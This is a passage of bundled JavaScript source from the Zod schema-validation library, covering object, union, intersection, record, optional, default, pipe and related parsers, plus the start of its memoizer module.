};\n});\nfunction handlePropertyResult(result, final, key, input, optin, optout) {\n	const isPresent = key in input;\n	const isOptionalOut = optout === \"optional\";\n	if (!isPresent && isOptionalOut && optin === \"optional\") return;\n	if (result.issues.length) {\n		if (optin !== void 0 && isOptionalOut && !isPresent) return;\n		final.issues.push(...prefixIssues(key, result.issues));\n	}\n	if (!isPresent && optin === void 0) {\n		if (!result.issues.length) final.issues.push({\n			code: \"invalid_type\",\n			expected: \"nonoptional\",\n			input: void 0,\n			path: [key]\n		});\n		return;\n	}\n	if (result.value === void 0) {\n		if (isPresent || optin === \"defaulted\" && !isOptionalOut) final.value[key] = void 0;\n	} else final.value[key] = result.value;\n}\nconst NO_SYMBOL_KEYS = [];\nfunction normalizeDef(def) {\n	const keys = Object.keys(def.shape);\n	const ownSymbols = Object.getOwnPropertySymbols(def.shape);\n	const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS;\n	const allKeys = symbolKeys.length ? [...keys, ...symbolKeys] : keys;\n	for (const k of allKeys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${String(k)}\": expected a Zod schema`);\n	const okeys = optionalKeys(def.shape);\n	return {\n		...def,\n		allKeys,\n		symbolKeys,\n		keySet: new Set(keys),\n		numKeys: keys.length,\n		optionalKeys: new Set(okeys)\n	};\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst, abortEarly) {\n	const unrecognized = [];\n	const keySet = def.keySet;\n	const _catchall = def.catchall._zod;\n	const t = _catchall.def.type;\n	const optin = _catchall.optin;\n	const optout = _catchall.optout;\n	let seen = 0;\n	for (const key in input) {\n		if (abortEarly && payload.issues.length !== seen) {\n			if (aborted(payload, seen)) break;\n			seen = payload.issues.length;\n		}\n		if (keySet.has(key)) continue;\n		if (key === \"__proto__\") {\n			if (t === \"never\") unrecognized.push(key);\n			continue;\n		}\n		if (t === \"never\") {\n			unrecognized.push(key);\n			continue;\n		}\n		const r = _catchall.run({\n			value: input[key],\n			issues: []\n		}, ctx);\n		if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, optin, optout)));\n		else handlePropertyResult(r, payload, key, input, optin, optout);\n	}\n	if (unrecognized.length) payload.issues.push({\n		code: \"unrecognized_keys\",\n		keys: unrecognized,\n		input,\n		inst,\n		continue: true\n	});\n	if (!proms.length) return payload;\n	return Promise.all(proms).then(() => {\n		return payload;\n	});\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const desc = Object.getOwnPropertyDescriptor(def, \"shape\");\n	const sh = desc?.get ? desc.get.raw : def.shape ?? {};\n	if (sh) {\n		const get = () => {\n			const newSh = { ...sh };\n			Object.defineProperty(def, \"shape\", { value: newSh });\n			get.raw = newSh;\n			return newSh;\n		};\n		get.raw = sh;\n		Object.defineProperty(def, \"shape\", { get });\n	}\n	const _normalized = cached(() => normalizeDef(def));\n	defineLazyInternal(inst, \"propValues\", (zod) => {\n		const shape = zod.def.shape;\n		const propValues = {};\n		for (const key in shape) {\n			const field = shape[key]._zod;\n			if (field.values) {\n				if (!Object.prototype.hasOwnProperty.call(propValues, key)) assignProp(propValues, key, /* @__PURE__ */ new Set());\n				for (const v of field.values) propValues[key].add(v);\n				if (field.optin !== void 0) propValues[key].add(void 0);\n			}\n		}\n		return propValues;\n	});\n	const isObject$2 = isObject;\n	const catchall = def.catchall;\n	let value;\n	const memo = globalConfig.memoizer;\n	memo?.attach(inst);\n	inst._zod.parse = (payload, ctx) => {\n		value ?? (value = _normalized.value);\n		const input = payload.value;\n		if (!isObject$2(input)) {\n			payload.issues.push({\n				expected: \"object\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		payload.value = memo ? memo.alloc(inst, payload, {}, ctx) : {};\n		const proms = [];\n		const shape = value.shape;\n		const abortEarly = ctx?.abortEarly;\n		let seen = payload.issues.length;\n		for (const key of value.allKeys) {\n			if (abortEarly && payload.issues.length !== seen) {\n				if (aborted(payload, seen)) break;\n				seen = payload.issues.length;\n			}\n			if (key === \"__proto__\") continue;\n			const el = shape[key];\n			const optin = el._zod.optin;\n			const optout = el._zod.optout;\n			const r = el._zod.run({\n				value: input[key],\n				issues: []\n			}, ctx);\n			if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, optin, optout)));\n			else handlePropertyResult(r, payload, key, input, optin, optout);\n		}\n		if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n		return handleCatchall(proms, input, payload, ctx, _normalized.value, inst, abortEarly === true);\n	};\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n	$ZodObject.init(inst, def);\n	const superParse = inst._zod.parse;\n	const _normalized = cached(() => normalizeDef(def));\n	const memo = globalConfig.memoizer;\n	const generateFastpass = (shape) => {\n		const normalized = _normalized.value;\n		const syms = normalized.symbolKeys;\n		const doc = new Doc([\"payload\", \"ctx\"], {\n			shape,\n			inst,\n			memo,\n			syms\n		});\n		const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n		const prefixStr = (id, k) => `\n          let ${id}_ab = false;\n          for (let i = 0; i < ${id}.issues.length; i++) {\n            const iss = ${id}.issues[i];\n            iss.path = iss.path ? [${k}, ...iss.path] : [${k}];\n            payload.issues.push(iss);\n            if (iss.continue !== true) ${id}_ab = true;\n          }\n          if (${id}_ab && ctx && ctx.abortEarly) {\n            payload.value = newResult;\n            return payload;\n          }`;\n		doc.write(`const input = payload.value;`);\n		const ids = Object.create(null);\n		let counter = 0;\n		for (const key of normalized.allKeys) ids[key] = `key_${counter++}`;\n		doc.write(memo ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`);\n		for (const key of normalized.allKeys) {\n			if (key === \"__proto__\") continue;\n			const id = ids[key];\n			const k = typeof key === \"symbol\" ? `syms[${syms.indexOf(key)}]` : esc(key);\n			const isPresent = `${k} in input`;\n			const schema = shape[key];\n			const optin = schema?._zod?.optin;\n			const isOptionalIn = optin !== void 0;\n			const isOptionalOut = schema?._zod?.optout === \"optional\";\n			doc.write(`const ${id} = ${parseStr(k)};`);\n			if (isOptionalIn && isOptionalOut) {\n				const assign = optin === \"optional\" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`;\n				doc.write(`\n        const ${id}_present = ${isPresent};\n        if (!${id}.issues.length || ${id}_present) {\n          if (${id}.issues.length) {${prefixStr(id, k)}\n          }\n\n          if (${assign}) {\n            newResult[${k}] = ${id}.value;\n          }\n        }\n\n      `);\n			} else if (!isOptionalIn) doc.write(`\n        const ${id}_present = ${isPresent};\n        if (${id}.issues.length) {${prefixStr(id, k)}\n        }\n        if (!${id}_present && !${id}.issues.length) {\n          payload.issues.push({\n            code: \"invalid_type\",\n            expected: \"nonoptional\",\n            input: undefined,\n            path: [${k}]\n          });\n          if (ctx && ctx.abortEarly) {\n            payload.value = newResult;\n            return payload;\n          }\n        }\n\n        if (${id}_present) {\n          newResult[${k}] = ${id}.value;\n        }\n\n      `);\n			else {\n				doc.write(`\n        if (${id}.issues.length) {${prefixStr(id, k)}\n        }\n      `);\n				if (optin === \"defaulted\") doc.write(`newResult[${k}] = ${id}.value;`);\n				else doc.write(`\n        if (${id}.value !== undefined || ${isPresent}) {\n          newResult[${k}] = ${id}.value;\n        }\n      `);\n			}\n		}\n		doc.write(`payload.value = newResult;`);\n		doc.write(`return payload;`);\n		return doc.compile();\n	};\n	let fastpass;\n	const isObject$1 = isObject;\n	const jit = !globalConfig.jitless;\n	const allowsEval$1 = allowsEval;\n	const fastEnabled = jit && allowsEval$1.value;\n	const catchall = def.catchall;\n	let value;\n	inst._zod.parse = (payload, ctx) => {\n		value ?? (value = _normalized.value);\n		const input = payload.value;\n		if (!isObject$1(input)) {\n			payload.issues.push({\n				expected: \"object\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) {\n			if (!fastpass) fastpass = generateFastpass(def.shape);\n			payload = fastpass(payload, ctx);\n			if (!catchall) return payload;\n			return handleCatchall([], input, payload, ctx, value, inst, ctx?.abortEarly === true);\n		}\n		return superParse(payload, ctx);\n	};\n});\nfunction handleUnionResults(results, final, inst, ctx) {\n	for (const result of results) if (result.issues.length === 0) {\n		final.value = result.value;\n		return final;\n	}\n	const nonaborted = results.filter((r) => !aborted(r));\n	if (nonaborted.length === 1) {\n		final.value = nonaborted[0].value;\n		return nonaborted[0];\n	}\n	final.issues.push({\n		code: \"invalid_union\",\n		input: final.value,\n		inst,\n		errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config())))\n	});\n	return final;\n}\nconst $ZodUnion = /*@__PURE__*/ $constructor(\"$ZodUnion\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.options.some((o) => o._zod.optin === \"defaulted\") ? \"defaulted\" : zod.def.options.some((o) => o._zod.optin !== void 0) ? \"optional\" : void 0);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.options.some((o) => o._zod.optout === \"optional\") ? \"optional\" : void 0);\n	defineLazyInternal(inst, \"values\", (zod) => {\n		if (zod.def.options.every((o) => o._zod.values)) return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values)));\n	});\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		if (zod.def.options.every((o) => o._zod.pattern)) {\n			const patterns = zod.def.options.map((o) => o._zod.pattern);\n			return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n		}\n	});\n	const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n	inst._zod.parse = (payload, ctx) => {\n		if (first) return first(payload, ctx);\n		let async = false;\n		const results = [];\n		for (const option of def.options) {\n			const result = option._zod.run({\n				value: payload.value,\n				issues: []\n			}, ctx);\n			if (result instanceof Promise) {\n				results.push(result);\n				async = true;\n			} else {\n				if (result.issues.length === 0) return result;\n				results.push(result);\n			}\n		}\n		if (!async) return handleUnionResults(results, payload, inst, ctx);\n		return Promise.all(results).then((results) => {\n			return handleUnionResults(results, payload, inst, ctx);\n		});\n	};\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload, ctx) => {\n		const input = payload.value;\n		const left = def.left._zod.run({\n			value: input,\n			issues: []\n		}, ctx);\n		const right = def.right._zod.run({\n			value: input,\n			issues: []\n		}, ctx);\n		if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n			return handleIntersectionResults(payload, left, right);\n		});\n		return handleIntersectionResults(payload, left, right);\n	};\n});\nfunction mergeValues(a, b) {\n	if (a === b) return {\n		valid: true,\n		data: a\n	};\n	if (a instanceof Date && b instanceof Date && +a === +b) return {\n		valid: true,\n		data: a\n	};\n	if (isPlainObject(a) && isPlainObject(b)) {\n		const bKeys = Object.keys(b);\n		const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n		const newObj = {\n			...a,\n			...b\n		};\n		if (Object.prototype.hasOwnProperty.call(newObj, \"__proto__\")) delete newObj.__proto__;\n		for (const key of sharedKeys) {\n			if (key === \"__proto__\") continue;\n			const sharedValue = mergeValues(a[key], b[key]);\n			if (!sharedValue.valid) return {\n				valid: false,\n				mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n			};\n			newObj[key] = sharedValue.data;\n		}\n		return {\n			valid: true,\n			data: newObj\n		};\n	}\n	if (Array.isArray(a) && Array.isArray(b)) {\n		if (a.length !== b.length) return {\n			valid: false,\n			mergeErrorPath: []\n		};\n		const newArray = [];\n		for (let index = 0; index < a.length; index++) {\n			const itemA = a[index];\n			const itemB = b[index];\n			const sharedValue = mergeValues(itemA, itemB);\n			if (!sharedValue.valid) return {\n				valid: false,\n				mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n			};\n			newArray.push(sharedValue.data);\n		}\n		return {\n			valid: true,\n			data: newArray\n		};\n	}\n	return {\n		valid: false,\n		mergeErrorPath: []\n	};\n}\nfunction handleIntersectionResults(result, left, right) {\n	const unrecKeys = /* @__PURE__ */ new Map();\n	let unrecIssue;\n	const keyIssues = /* @__PURE__ */ new Map();\n	const collect = (iss, side) => {\n		let keys;\n		if (iss.code === \"unrecognized_keys\" && !iss.path?.length) {\n			unrecIssue ?? (unrecIssue = iss);\n			keys = iss.keys;\n		} else if (iss.code === \"invalid_key\" && iss.origin === \"record\" && iss.path?.length === 1) {\n			const k = String(iss.path[0]);\n			if (!keyIssues.has(k)) keyIssues.set(k, iss);\n			keys = [k];\n		} else return false;\n		for (const k of keys) {\n			if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n			unrecKeys.get(k)[side] = true;\n		}\n		return true;\n	};\n	for (const iss of left.issues) if (!collect(iss, \"l\")) result.issues.push(iss);\n	for (const iss of right.issues) if (!collect(iss, \"r\")) result.issues.push(iss);\n	const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n	if (bothKeys.length) {\n		const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : [];\n		if (aggregated.length) result.issues.push({\n			...unrecIssue,\n			keys: aggregated\n		});\n		for (const k of bothKeys) if (!aggregated.includes(k) && keyIssues.has(k)) result.issues.push(keyIssues.get(k));\n	}\n	const merged = mergeValues(left.value, right.value);\n	if (!merged.valid) {\n		if (aborted(result)) return result;\n		throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n	}\n	result.value = merged.data;\n	return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const memo = globalConfig.memoizer;\n	memo?.attach(inst);\n	inst._zod.parse = (payload, ctx) => {\n		const input = payload.value;\n		if (!isPlainObject(input)) {\n			payload.issues.push({\n				expected: \"record\",\n				code: \"invalid_type\",\n				input,\n				inst\n			});\n			return payload;\n		}\n		const proms = [];\n		const values = def.keyType._zod.values;\n		if (values && !def.partial) {\n			payload.value = memo ? memo.alloc(inst, payload, {}, ctx) : {};\n			const recordKeys = /* @__PURE__ */ new Set();\n			for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n				recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n				if (key === \"__proto__\") continue;\n				const keyResult = def.keyType._zod.run({\n					value: key,\n					issues: []\n				}, ctx);\n				if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n				if (keyResult.issues.length) {\n					payload.issues.push({\n						code: \"invalid_key\",\n						origin: \"record\",\n						issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n						input: key,\n						path: [key],\n						inst\n					});\n					continue;\n				}\n				const outKey = keyResult.value;\n				if (outKey === \"__proto__\") continue;\n				const result = def.valueType._zod.run({\n					value: input[key],\n					issues: []\n				}, ctx);\n				if (result instanceof Promise) proms.push(result.then((result) => {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}));\n				else {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}\n			}\n			let unrecognized;\n			for (const key in input) if (!recordKeys.has(key)) {\n				if (def.mode === \"loose\") {\n					if (key === \"__proto__\") continue;\n					payload.value[key] = input[key];\n				} else {\n					unrecognized = unrecognized ?? [];\n					unrecognized.push(key);\n				}\n			}\n			if (unrecognized && unrecognized.length > 0) payload.issues.push({\n				code: \"unrecognized_keys\",\n				input,\n				inst,\n				keys: unrecognized,\n				continue: true\n			});\n		} else {\n			payload.value = memo ? memo.alloc(inst, payload, {}, ctx) : {};\n			let unrecognized;\n			for (const key of Reflect.ownKeys(input)) {\n				if (key === \"__proto__\") continue;\n				if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n				let keyResult = def.keyType._zod.run({\n					value: key,\n					issues: []\n				}, ctx);\n				if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n				if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n					const retryResult = def.keyType._zod.run({\n						value: Number(key),\n						issues: []\n					}, ctx);\n					if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n					if (retryResult.issues.length === 0) keyResult = retryResult;\n				}\n				if (keyResult.issues.length) {\n					if (def.mode === \"loose\") payload.value[key] = input[key];\n					else if (values) {\n						unrecognized = unrecognized ?? [];\n						unrecognized.push(key);\n					} else payload.issues.push({\n						code: \"invalid_key\",\n						origin: \"record\",\n						issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n						input: key,\n						path: [key],\n						inst\n					});\n					continue;\n				}\n				const outKey = keyResult.value;\n				if (outKey === \"__proto__\") continue;\n				const result = def.valueType._zod.run({\n					value: input[key],\n					issues: []\n				}, ctx);\n				if (result instanceof Promise) proms.push(result.then((result) => {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}));\n				else {\n					if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n					payload.value[outKey] = result.value;\n				}\n			}\n			if (unrecognized && unrecognized.length > 0) payload.issues.push({\n				code: \"unrecognized_keys\",\n				input,\n				inst,\n				keys: unrecognized,\n				continue: true\n			});\n		}\n		if (proms.length) return Promise.all(proms).then(() => payload);\n		return payload;\n	};\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n	$ZodType.init(inst, def);\n	const values = getEnumValues(def.entries);\n	const valuesSet = new Set(values);\n	inst._zod.values = valuesSet;\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k));\n		return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join(\"|\")})$` : \"^[^\\\\s\\\\S]$\");\n	});\n	inst._zod.parse = (payload, _ctx) => {\n		const input = payload.value;\n		if (valuesSet.has(input)) return payload;\n		payload.issues.push({\n			code: \"invalid_value\",\n			values,\n			input,\n			inst\n		});\n		return payload;\n	};\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.optin = \"optional\";\n	globalConfig.memoizer?.guard(inst);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n		const _out = def.transform(payload.value, payload);\n		if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n			payload.value = output;\n			return payload;\n		});\n		if (_out instanceof Promise) throw new $ZodAsyncError();\n		payload.value = _out;\n		return payload;\n	};\n});\nfunction handleOptionalResult(payload, result) {\n	payload.value = result.issues.length ? void 0 : result.value;\n	return payload;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType._zod.optin === \"defaulted\" ? \"defaulted\" : \"optional\");\n	inst._zod.optout = \"optional\";\n	defineLazyInternal(inst, \"values\", (zod) => {\n		const values = zod.def.innerType._zod.values;\n		return values ? /* @__PURE__ */ new Set([...values, void 0]) : void 0;\n	});\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		const pattern = zod.def.innerType._zod.pattern;\n		return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n	});\n	inst._zod.parse = (payload, ctx) => {\n		if (payload.value === void 0) {\n			if (def.innerType._zod.optin !== \"defaulted\") return payload;\n			const result = def.innerType._zod.run({\n				value: payload.value,\n				issues: []\n			}, ctx);\n			if (result instanceof Promise) return result.then((result) => handleOptionalResult(payload, result));\n			return handleOptionalResult(payload, result);\n		}\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n	$ZodOptional.init(inst, def);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	defineLazyInternal(inst, \"pattern\", (zod) => zod.def.innerType._zod.pattern);\n	inst._zod.parse = (payload, ctx) => {\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType._zod.optin);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.innerType._zod.optout);\n	defineLazyInternal(inst, \"pattern\", (zod) => {\n		const pattern = zod.def.innerType._zod.pattern;\n		return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n	});\n	defineLazyInternal(inst, \"values\", (zod) => {\n		return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0;\n	});\n	inst._zod.parse = (payload, ctx) => {\n		if (payload.value === null) return payload;\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.optin = \"defaulted\";\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		if (payload.value === void 0) {\n			payload.value = def.defaultValue;\n			/**\n			* $ZodDefault returns the default value immediately in forward direction.\n			* It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe.   */\n			return payload;\n		}\n		const result = def.innerType._zod.run(payload, ctx);\n		if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n		return handleDefaultResult(result, def);\n	};\n});\nfunction handleDefaultResult(payload, def) {\n	if (payload.value === void 0) payload.value = def.defaultValue;\n	return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n	$ZodType.init(inst, def);\n	inst._zod.optin = \"defaulted\";\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		if (payload.value === void 0) payload.value = def.defaultValue;\n		return def.innerType._zod.run(payload, ctx);\n	};\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"values\", (zod) => {\n		const v = zod.def.innerType._zod.values;\n		return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n	});\n	inst._zod.parse = (payload, ctx) => {\n		const result = def.innerType._zod.run(payload, ctx);\n		if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n		return handleNonOptionalResult(result, inst);\n	};\n});\nfunction handleNonOptionalResult(payload, inst) {\n	if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n		code: \"invalid_type\",\n		expected: \"nonoptional\",\n		input: payload.value,\n		inst\n	});\n	return payload;\n}\nfunction handleCatchResult(payload, result, def, ctx) {\n	if (!result.issues.length) {\n		payload.value = result.value;\n		if (result.memo) payload.memo = true;\n		return payload;\n	}\n	payload.value = def.catchValue({\n		...result,\n		value: payload.value,\n		error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n		input: payload.value\n	});\n	return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType._zod.optin === \"defaulted\" ? \"defaulted\" : \"optional\");\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.innerType._zod.optout);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		const result = def.innerType._zod.run({\n			value: payload.value,\n			issues: []\n		}, ctx);\n		if (result instanceof Promise) return result.then((result) => handleCatchResult(payload, result, def, ctx));\n		return handleCatchResult(payload, result, def, ctx);\n	};\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.in._zod.values);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.in._zod.optin);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.out._zod.optout);\n	defineLazyInternal(inst, \"propValues\", (zod) => zod.def.in._zod.propValues);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") {\n			const right = def.out._zod.run(payload, ctx);\n			if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n			return handlePipeResult(right, def.in, ctx);\n		}\n		const left = def.in._zod.run(payload, ctx);\n		if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n		return handlePipeResult(left, def.out, ctx);\n	};\n});\nfunction handlePipeResult(left, next, ctx) {\n	if (left.issues.some((iss) => iss.code !== \"unrecognized_keys\")) {\n		left.aborted = true;\n		return left;\n	}\n	return next._zod.run({\n		value: left.value,\n		issues: left.issues\n	}, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n	$ZodType.init(inst, def);\n	defineLazyInternal(inst, \"propValues\", (zod) => zod.def.innerType._zod.propValues);\n	defineLazyInternal(inst, \"values\", (zod) => zod.def.innerType._zod.values);\n	defineLazyInternal(inst, \"optin\", (zod) => zod.def.innerType?._zod?.optin);\n	defineLazyInternal(inst, \"optout\", (zod) => zod.def.innerType?._zod?.optout);\n	inst._zod.parse = (payload, ctx) => {\n		if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n		const result = def.innerType._zod.run(payload, ctx);\n		if (result instanceof Promise) return result.then(handleReadonlyResult);\n		return handleReadonlyResult(result);\n	};\n});\nfunction handleReadonlyResult(payload) {\n	if (!payload.memo) payload.value = Object.freeze(payload.value);\n	return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n	$ZodCheck.init(inst, def);\n	$ZodType.init(inst, def);\n	inst._zod.parse = (payload, _) => {\n		return payload;\n	};\n	inst._zod.check = (payload) => {\n		const input = payload.value;\n		const r = def.fn(input);\n		if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n		handleRefineResult(r, payload, input, inst);\n	};\n});\nfunction handleRefineResult(result, payload, input, inst) {\n	if (!result) {\n		const _iss = {\n			code: \"custom\",\n			input,\n			inst,\n			path: [...inst._zod.def.path ?? []],\n			continue: !inst._zod.def.abort\n		};\n		if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n		payload.issues.push(issue(_iss));\n	}\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/core/memoizer.js\nvar $ZodCyclicError = class extends Error {\n	constructor() {\n		super(`Cannot parse a reference cycle that closes through a transform`);\n		this.name = \"ZodCyclicError\";\n	}\n};\n/** Keyed off the context object every schema in one parse call already shares. */\nconst STATE = \"~memo\";\nconst NO_ISSUES = [];\nfunction isRef(value) {\n	return value !== null && typeof value === \"object\";\n}\nfunction cloneIssues(issues) {\n	return issues.map((iss) => iss.path ? {\n		...iss,\n		path: iss.path.slice()\n	} : { ...iss });\n}\nconst recursive = /*@__PURE__*/ new WeakMap();\n/** What the walk established, in order of certainty: ordered so the strongest answer among children wins. */\nconst NONE = 0;\nconst ASSUMED = 1;\nconst PROVEN = 2;\n/** Whether this schema's subtree contains a cycle, so one parse can re-enter it. */\nfunction isRecursive(inst, stack, resolve) {\n	const cached = recursive.get(inst);\n	if (cached !== void 0) return cached ? PROVEN : NONE;\n	if (stack.has(inst)) return PROVEN;\n	stack.add(inst);\n	let result = NONE;\n	const check = (child) => {\n		if (result !== PROVEN && child?._zod) {\n			const answer = isRecursive(child, stack, resolve);\n			if (answer > result) result = answer;\n		}\n	};\n	const shape = (sh, spread) => {\n		let answer = NONE;\n		for (const key of Reflect.ownKeys(sh)) {\n			const desc = Object.getOwnPropertyDescriptor(sh, key);\n			if (spread && !desc.enumerable) continue;\n			const child = desc.get ? ASSUMED : desc.value?._zod ? isRecursive(desc.value, stack, resolve) : NONE;\n			if (child > answer) answer = child;\n		}\n		return answer;\n	};\n	const merge = (answer) => {\n		if (answer > result) result = answer;\n	};\n	const def = inst._zod.def;\n	switch (def.type) {\n		case \"object\": {\n			const raw = rawShape(def);\n			merge(raw ? shape(raw, true) : ASSUMED);\n			check(def.catchall);\n			break;\n		}\n		case \"array\":\n			check(def.element);\n			break;\n		case \"tuple\":\n			for (const el of def.items) check(el);\n			check(def.rest);\n			break;\n		case \"record\":\n		case \"map\":\n			check(def.keyType);\n			check(def.valueType);\n			break;\n		case \"set\":\n			check(def.valueType);\n			break;\n		case \"union\":\n			for (const el of def.options) check(el);\n			break;\n		case \"intersection\":\n			check(def.left);\n			check(def.right);\n			break;\n		case \"optional\":\n		case \"nullable\":\n		case 